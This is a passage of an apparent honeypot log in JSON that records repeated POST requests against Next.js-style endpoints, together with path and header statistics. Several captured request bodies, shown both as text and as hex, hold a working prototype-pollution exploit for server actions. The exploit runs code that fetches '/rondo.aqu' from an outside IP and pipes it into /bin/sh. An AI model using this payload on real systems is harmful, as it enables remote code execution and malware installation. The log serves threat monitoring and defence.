name=\"2\"\r\n\r\n[]\r\n--ae3ecd7a1b9e77f90b0ec12e2c17c308--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d61653365636437613162396537376639306230656331326532633137633330380d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d61653365636437613162396537376639306230656331326532633137633330380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d61653365636437613162396537376639306230656331326532633137633330380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d61653365636437613162396537376639306230656331326532633137633330380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d61653365636437613162396537376639306230656331326532633137633330382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"3a63cdeb-aa91-4d6a-be40-2505ccfe35c2","seq":1,"duration_ms":0,"bytes_in":995,"bytes_out":79},{"timestamp":"2026-09-07T20:49:01","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=645232eec625acfcde1d331c31f2f01c\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--645232eec625acfcde1d331c31f2f01c\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--645232eec625acfcde1d331c31f2f01c\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--645232eec625acfcde1d331c31f2f01c\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--645232eec625acfcde1d331c31f2f01c--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app","summary":"","payload_hex":"504f5354202f61707020485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d36343532333265656336323561636663646531643333316333316632663031630d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d36343532333265656336323561636663646531643333316333316632663031630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d36343532333265656336323561636663646531643333316333316632663031630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d36343532333265656336323561636663646531643333316333316632663031630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d36343532333265656336323561636663646531643333316333316632663031632d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"328936f0-2154-4e11-b98d-620961d03b57","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":79},{"timestamp":"2026-09-07T20:47:02","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=d08126409d493a00236460c9cc2a6ce6\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--d08126409d493a00236460c9cc2a6ce6\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--d08126409d493a00236460c9cc2a6ce6\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--d08126409d493a00236460c9cc2a6ce6\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--d08126409d493a00236460c9cc2a6ce6--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d64303831323634303964343933613030323336343630633963633261366365360d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d64303831323634303964343933613030323336343630633963633261366365360d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d64303831323634303964343933613030323336343630633963633261366365360d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d64303831323634303964343933613030323336343630633963633261366365360d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d64303831323634303964343933613030323336343630633963633261366365362d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"eb8bf08e-19c8-44b8-8242-0b1d3ad381f5","seq":1,"duration_ms":0,"bytes_in":995,"bytes_out":79}],"http_methods":[{"method":"POST","count":89}],"distinct_ports_total":3,"top_paths":[{"path":"/_next","count":22,"ports":2},{"path":"/app","count":16,"ports":2},{"path":"/api","count":13,"ports":1},{"path":"/api/route","count":13,"ports":2},{"path":"/","count":12,"ports":1},{"path":"/_next/server","count":9,"ports":2},{"path":"/UD/act?1","count":4,"ports":1}],"distinct_paths_total":7,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"692","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=cc46ae8e20d4eca909484ce7c5a95452","notable":true},{"name":"Host","value":"<HONEYPOT>:3001","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-09-11T10:28:25.302872+00:00"}